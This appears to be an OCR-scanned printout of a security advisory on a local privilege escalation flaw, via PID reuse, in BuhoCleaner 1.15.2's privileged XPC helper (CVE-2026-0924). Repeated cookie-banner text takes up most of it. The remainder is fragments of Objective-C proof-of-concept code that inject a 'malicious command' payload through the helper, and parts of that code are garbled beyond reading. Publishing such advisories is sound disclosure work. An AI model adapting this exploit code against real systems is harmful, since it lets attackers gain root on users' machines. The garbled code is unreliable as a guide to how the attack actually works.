4/21/26, 4:43 AM BuhoCleaner 1.15.2 - Local Privilege Escalation via PID reuse attack | Fluid Attacks

(V2= —

[} Cookiebot

by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse
our traffic. We also share information about your use of our site with our social media, advertising
and analytics partners who may combine it with other information that you've provided to them or
that they’ve collected from your use of their services. You consent to our cookies if you continue
to use our website.

Necessary
Preferences
Statistics

Marketing

8BA8A

Show details >

Allow all cookies

Allow selection

Use necessary cookies only

Affected version(s) 1.15.2

https://fluidattacks.com/advisories/solstafir 1/11


https://fluidattacks.com/advisories
https://co.linkedin.com/in/oscar-uribe-londo%C3%B1o-0b6534155
https://es.wikipedia.org/wiki/S%C3%B3lstafir
https://fluidattacks.com/
https://www.cookiebot.com/en/what-is-behind-powered-by-cookiebot/?utm_source=banner_cb&utm_medium=referral&utm_content=v2

4/21/26, 4:43 AM BuhoCleaner 1.15.2 - Local Privilege Escalation via PID reuse attack | Fluid Attacks

(V2= —

[} Cookiebot

by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse
our traffic. We also share information about your use of our site with our social media, advertising
and analytics partners who may combine it with other information that you've provided to them or
that they’ve collected from your use of their services. You consent to our cookies if you continue
to use our website.

Necessary
Preferences
Statistics

Marketing

8BA8A

Show details >

UNTITTUITUIITUNTUTTITTUITUDC 1 VU I VU ) 1AL LUl idiuuvl .

https://fluidattacks.com/advisories/solstafir 2/11


https://db.fluidattacks.com/wek/005
https://nvd.nist.gov/vuln/detail/CVE-2026-0924
https://fluidattacks.com/
https://www.cookiebot.com/en/what-is-behind-powered-by-cookiebot/?utm_source=banner_cb&utm_medium=referral&utm_content=v2

4/21/26, 4:43 AM BuhoCleaner 1.15.2 - Local Privilege Escalation via PID reuse attack | Fluid Attacks

(V2= —

[} Cookiebot

by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse
our traffic. We also share information about your use of our site with our social media, advertising
and analytics partners who may combine it with other information that you've provided to them or
that they’ve collected from your use of their services. You consent to our cookies if you continue
to use our website.

Necessary
Preferences
Statistics

Marketing

8BA8A

Show details >

// Execute scripts from user input
(NSString *script self. ) |
NSTask *task = [[NSTask alloc] init];
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#include <spawn.h>
<signal.h>

static NSString* XPCHelperMachServiceName = @"com.drbuho.BuhoCleaner.Privileged
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J1,

NSLog(@"[Child %d] Injecting malicious command...", my_pid);
NSLog(@" [Child %d] Payload: %@", my pid, payload);
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NOLUY\W vuliLernit vl /%S. , Yulruvuil_riLc),
NSLog(@"") ;
NSLog(@" %@", [result stringByTrimmingCharactersInSet:[NSCharacterSet
NSLog(@"") ;
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